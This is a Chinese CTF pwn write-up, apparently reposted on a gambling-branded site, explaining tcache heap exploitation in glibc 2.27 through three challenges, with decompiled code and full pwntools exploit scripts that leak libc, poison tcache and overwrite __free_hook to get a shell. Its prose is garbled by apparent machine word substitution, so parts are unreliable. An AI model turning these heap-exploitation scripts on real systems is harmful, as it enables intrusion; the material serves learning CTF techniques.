tcache在pwn题中罕见的应用姿态 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

tcache在pwn题中罕见的应用姿态

申博_新闻事件 申博 268次浏览 已收录 0个评论

媒介

tcache是 glibc 2.26(ubuntu 17.10) 以后引入的一种手艺,目标是提拔堆治理的机能,近来tcache机制的pwn题越来越多,趁着春节放假,进修了一下tcache在pwn题中是怎样应用的。下面经由过程几条tcache的问题,分享下此类问题通例应用姿态。

tcache基础知识

或许各大师傅的博客,都有详实的引见,在此我就未几赘述了。

CodegateCTF2019 god-the-reum

翻开顺序看一下,是个典范的菜单顺序

====== Ethereum wallet service ========
1. Create new wallet
2. Deposit eth
3. Withdraw eth
4. Show all wallets
5. exit
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rdi
  char v5[88]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = (char *)stdin;
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    while ( getchar() != 10 )
      ;
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        v3 = &v5[16 * dword_20202C];
        create((void **)v3);
        break;
      case 2u:
        v3 = &v5[16 * (signed int)sub_11DC(v3)];
        deposit((__int64)v3);
        break;
      case 3u:
        v3 = &v5[16 * (signed int)sub_11DC(v3)];
        withdraw((__int64)v3);
        break;
      case 4u:
        v3 = v5;
        show((__int64)v5);
        break;
      case 5u:
        puts("bye da.");
        return 0LL;
      case 6u:
        v3 = &v5[16 * (signed int)sub_11DC(v3)];
        developer((__int64)v3);  // 隐蔽功用
        break;
      default:
        sub_11B3((__int64)v3, 0LL);
        break;
    }
  }
}

菜单功用以下:

  1. Create new wallet:建立一个wallet,可掌握size,malloc一个chunk用于寄存ballance
unsigned __int64 __fastcall create(void **a1)
{
  char *v1; // rax
  unsigned int v2; // eax
  char v4; // [rsp+13h] [rbp-1Dh]
  char v5; // [rsp+13h] [rbp-1Dh]
  signed int i; // [rsp+14h] [rbp-1Ch]
  size_t size; // [rsp+18h] [rbp-18h]
  void *s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  s = malloc(0x82uLL);
  if ( !s || dword_20202C > 4 )
  {
    puts("wallet creation failed");
    exit(0);
  }
  memset(s, 0, 0x82uLL);
  v1 = (char *)s + strlen((const char *)s);
  *(_WORD *)v1 = 'x0';
  v1[2] = 0;
  v2 = time(0LL);
  srand(v2);
  for ( i = 0; i <= 39; ++i )
  {
    v4 = rand() % 15;
    if ( v4 > 9 )
      v5 = rand() % 6 + 97;
    else
      v5 = v4 + 48;
    *((_BYTE *)s + i + 2) = v5;
  }
  *a1 = s;
  printf("how much initial eth? : ", 0LL);
  __isoc99_scanf("%llu", &size);
  a1[1] = malloc(size);
  if ( a1[1] )
    *(_QWORD *)a1[1] = size;
  ++dword_20202C;
  sub_119B();
  puts("Creating new wallet succcess !\n");
  sub_FD5(*a1, a1[1]);
  putchar(10);
  return __readfsqword(0x28u) ^ v9;
}
  1. Deposit eth:增添wallet的ballance(本题顶用不到)

  2. Withdraw eth:削减wallet的款项,若是以后ballance为0,则free掉ballance的chunk,可double free

unsigned __int64 __fastcall withdraw(__int64 a1)
{
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("how much you wanna withdraw? : ");
  __isoc99_scanf("%llu", &v2);
  **(_QWORD **)(a1 + 8) -= v2;
  if ( !**(_QWORD **)(a1 + 8) )  // 推断是不是为0
    free(*(void **)(a1 + 8));    // double free
  puts("withdraw ok !\n");
  return __readfsqword(0x28u) ^ v3;
}
  1. Show all wallets:打印wallet信息,没有任何搜检,存在UAF破绽。
int __fastcall show(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  sub_119B();
  puts("========== My Wallet List =============");
  for ( i = 0; i < dword_20202C; ++i )
  {
    printf("%d) ", (unsigned int)i);
    sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD *)(16LL * i + a1 + 8)); // printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
  }
  return putchar(10);
}
  1. 输入6能够进入一个developer的隐蔽功用,可对ballance举行修正。
__int64 __fastcall developer(__int64 a1)
{
  sub_119B();
  puts("this menu is only for developer");
  puts("if you are not developer, please get out");
  sleep(1u);
  printf("new eth : ");
  return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8));
}

问题剖析:

  1. 起首须要泄漏libc地点,要领有两个,须要应用tcache的特性
  2. 默许状况下,单链表个数是64个,可包容的最大内存块巨细是1032(0x408)
  3. 单个tcache bins默许最多包罗7个块

要领一:那末,只需我们建立一个大于0x408的chunk,free掉以后就可以进入unsorted bins,然后泄漏libc地点的要领就与glibc 2.23以下版本一样。

tcache在pwn题中罕见的应用姿态

要领二:先把tcache bins填满,一样平常状况就是7个,以后free掉的chunk就可以进入unsorted bin了。应用double freetcache填满7个后,泄漏libc地点。注重初次double free后金额酿成heap地点,能够用show功用打印ballance,然后继承double free

tcache在pwn题中罕见的应用姿态

  1. 运用tcache poisoning举行恣意地点写

tache posioningfastbin attack相似,而且限定越发少,不会搜检size,直接修正 tcache 中的 fd,不须要捏造任何 chunk 构造便可完成 malloc 就任何地点。建立一个不大于0x408的chunk,free掉后便可进入tcache,应用developer的隐蔽功用,能够修正tcache的fd为free_hook的地点,举行两次分派后,便可分派到free_hook的地点,再次运用developer的隐蔽功用直接把free_hook改成system或许onegadget便可getshell。

完全exp:

from pwn import *
p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def create(n):
    p.sendlineafter('select your choice :','1')
    p.sendlineafter('initial eth? : ',str(n))

def withdraw(idx,n):
    p.sendlineafter('select your choice :','3')
    p.sendlineafter('wallet no : ',str(idx))
    p.sendlineafter('withdraw? : ',str(n))

def show():
    p.sendlineafter('select your choice :','4')

def developer(idx,n):
    p.sendlineafter('select your choice :','6')
    p.sendlineafter('wallet no : ',str(idx))
    p.sendlineafter('new eth : ',str(n))

# leak libc addr
create(0x100) # 0
create(0x90) # 1
withdraw(0,0x100)
withdraw(0,0)
show()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
for i in range(6):
    withdraw(0,heap_addr)
show()
p.recvuntil('ballance ')
libc.address = int(p.recvuntil('\n').strip()) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# overwrite free_hook to onegadget
withdraw(1,0x90)
developer(1,p64(libc.sym['__free_hook']))
create(0x90) # 2
create(0x90) # 3
one_gadget = libc.address + 0x4f322
developer(3,p64(one_gadget))
withdraw(2,0x90)
p.interactive()

hitbxctf2018 gundam

1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit

Your choice :
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+Eh] [rbp-12h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  v4 = __readfsqword(0x28u);
  sub_1022(a1, a2, a3);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    atoi(&buf);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        bulid();
        break;
      case 2u:
        visit();
        break;
      case 3u:
        destory();
        break;
      case 4u:
        blow_up();
        break;
      case 5u:
        puts("Exit....");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

菜单功用以下:

  • Build:请求一块0x28巨细的chunk用来存储gundam的构造体 struct gundam{ int inuse; char* name; char type[24] },个中name为0x100巨细。最多建立9个gundam。
  • Visit:打印gundam的nametype
  • Destory:free指定gundam的name,没有清空指针,可double free
  • Blowup:free一切已destory过的gundam,并清空指针。

思绪剖析:

  1. 第一步依然是泄漏libc地点
  2. 本题我们不克不及掌握malloc的巨细,因而不克不及运用上一题的要领一,只能运用要领二。本题最多能够建立9个gundam,很轻易就可以把tcache填满7个,以后的free掉的chunk就会放到unsorted bin。接着运用visit功用泄漏unsorted bin的fd便可。

    ————————————-

    申博网络安全巴士站

    申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

    ————————————-

  3. 运用tcache dup举行恣意地点写

  4. tcache dup相似fastbin dup,应用的是 tcache_put() 的不严谨能够对同一个chunk屡次 free,tcache_put() 的搜检险些即是没有,fastbin不克不及一连开释同一个chunk,而且还需挑选巨细适宜的地位,而tcache没有这类限定,运用起来比fastbin dup还要简朴。运用destory功用举行double free后,接着新建两个gundam后便可分派到指定地位,修正free_hooksystemonegadget便可getshell。

完全exp:

from pwn import *
p = process('./gundam')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def bulid(name):
    p.sendlineafter('Your choice :','1')
    p.sendafter('name of gundam :',name)
    p.sendlineafter('type of the gundam :','1')

def destory(idx):
    p.sendlineafter('Your choice :','3')
    p.sendlineafter('Destory:',str(idx))

def visit():
    p.sendlineafter('Your choice :','2')

def blow_up():
    p.sendlineafter('Your choice :','4')

# leak libc address
for i in range(9):
    bulid('aaaa')
for i in range(9):
    destory(i)
blow_up()
for i in range(7):
    bulid('bbbb')
bulid('cccccccc')
visit()
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# tcache dup
destory(1)
destory(0)
destory(0)
blow_up()
bulid(p64(libc.sym['__free_hook'])) # 0
bulid('/bin/sh\x00') # 1
bulid(p64(libc.sym['system']))
# getshell
destory(1)
p.interactive()

hitcon2018 children_tcache

问题功用未几,就3个,我们来逐一剖析。

$$$$$$$$$$$$$$$$$$$$$$$$$$$
    Children Tcache    
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Show heap          $
$   3. Delete heap        $
$   4. Exit               $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // rax

  sub_AEB();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_int();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        delete();
      }
      else
      {
        if ( v3 == 4 )
          _exit(0);
LABEL_13:
        puts("Invalid Choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      new();
    }
  }
}

菜单功用以下:

  1. new:建立一个heap(最多10个),可掌握size,因为运用了strcpy(dest, &s)(把从src地点最先且含有NULL结束符的字符串复制到以dest最先的地点空间),存在一个off by null破绽。
unsigned __int64 new()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *dest; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char s; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !heap_list[i] )
      break;
  }
  printf("Size:");
  size = get_int();
  if ( size > 0x2000 )
    exit(-2);
  dest = (char *)malloc(size);
  if ( !dest )
    exit(-1);
  printf("Data:");
  get_str((__int64)&s, size);  // 有00截断
  strcpy(dest, &s);   // off by null
  heap_list[i] = dest;
  size_list[i] = size;
  return __readfsqword(0x28u) ^ v5;
}
  1. show:打印指定index的heap
int show()
{
  const char *v0; // rax
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v2 = get_int();
  if ( v2 > 9 )
    exit(-3);
  v0 = heap_list[v2];
  if ( v0 )
    LODWORD(v0) = puts(heap_list[v2]);
  return (signed int)v0;
}
  1. delete:free指定index的heap,而且清空了指针。memset((void *)heap_list[v1], 0xDA, size_list[v1]);free前添补了\xda
int delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = get_int();
  if ( v1 > 9 )
    exit(-3);
  if ( heap_list[v1] )
  {
    memset((void *)heap_list[v1], 0xDA, size_list[v1]); // 坑点
    free((void *)heap_list[v1]);
    heap_list[v1] = 0LL;
    size_list[v1] = 0LL;
  }
  return puts(":)");
}

问题剖析:

  • 这题对照贫苦的是没有一个很直接的double free破绽能够应用,delete的时刻清空了指针。而对照显着的破绽就是off by null,那末症结就是怎样应用这个破绽了。
  • 因为分派的heap空间是一连的,能够应用off by null把下一个chunk的size值的最低位覆盖成\x00,同时放入一个适宜pre_size值,把前面已分派的chunk捏形成一个已free的chunk,当free此chunk时会举行向前兼并,形成overlapping chunks
  • 问题能够掌握malloc的巨细,因而挑选建立一个能够放入unsorted bin的chunk举行libc地点泄漏。

解题步调:

  • 请求两个大于tcache局限的heap,中央预留一个heap(tcache局限内便可)做备用,顺次记作#0,#1,#2,对应下图的第2-4个chunk。

tcache在pwn题中罕见的应用姿态

  • #0#1两个heap开释掉,此时#0号进入unsorted bins#1号进入tcache

tcache在pwn题中罕见的应用姿态

  • 请求一个#1号巨细的heap(#0'),应用off by null修正掉#2号heap的size,还要改掉pre_size,当free掉#2号heap时便可发作向前兼并,此时#0'号heap将与unsorted bin堆叠。

tcache在pwn题中罕见的应用姿态

tcache在pwn题中罕见的应用姿态

  • 请求一个#0号巨细的heap,这时候#0'号与支解后的unsorted binfd堆叠,打印#0'号heap信息便可泄漏libc地点。

tcache在pwn题中罕见的应用姿态

  • 请求一个#0'号巨细的heap(#2'),#0'#2'将堆叠,能够举行double free

tcache在pwn题中罕见的应用姿态

  • 随着就是tcache dup的通例套路。

坑点:

  • 因为delete的时刻添补了渣滓数据\xDA,而且new的时刻写入是有\x00截断,因而须要应用strcpy会复制末端\x00的特性,一直转变新建heap的巨细,然后删除,一字节一字节地把\xDA清空掉,以后能力准确添补pre_size

完全EXP:

from pwn import *
p = process('./children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def new(size,content):
    p.sendlineafter('Your choice: ','1')
    p.sendlineafter('Size:',str(size))
    p.sendafter('Data:',content)

def show(idx):
    p.sendlineafter('Your choice: ','2')
    p.sendlineafter('Index:',str(idx))

def delete(idx):
    p.sendlineafter('Your choice: ','3')
    p.sendlineafter('Index:',str(idx))

# unsorted bins > 0x408
new(0x410,'0000')    #0
new(0x20,'1111')     #1
new(0x4f0,'2222')    #2
new(0x20,'3333')     #3

delete(0)
delete(1)
# overwrite next chunk size & clean pre_size
for i in range(0,9):
    new(0x28-i,(0x28-i)*'a')   #0
    delete(0)
# overlapping chunks
new(0x28,'a'*0x20+p64(0x450))  #0
delete(2)

new(0x418,'1111')   #1
show(0)
libc.address = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# overwrite free_hook to onegadget
new(0x28,'2222') #2
delete(0)
delete(2) # 0 = 2

new(0x28,p64(libc.sym['__free_hook']))
new(0x28,'3333')

one_gadget = libc.address + 0x4f322
new(0x28,p64(one_gadget))
delete(3)
p.interactive()

总结

tcache的平安搜检迥殊少,应用起来对照简朴,此类问题标重要难点在于怎样泄漏libc地点和怎样建立堆叠堆块。这3个问题基本把libc泄漏,tcache poisoning,tcache dup,overlapping chunks都涵盖,值得进修一下。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明tcache在pwn题中罕见的应用姿态
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址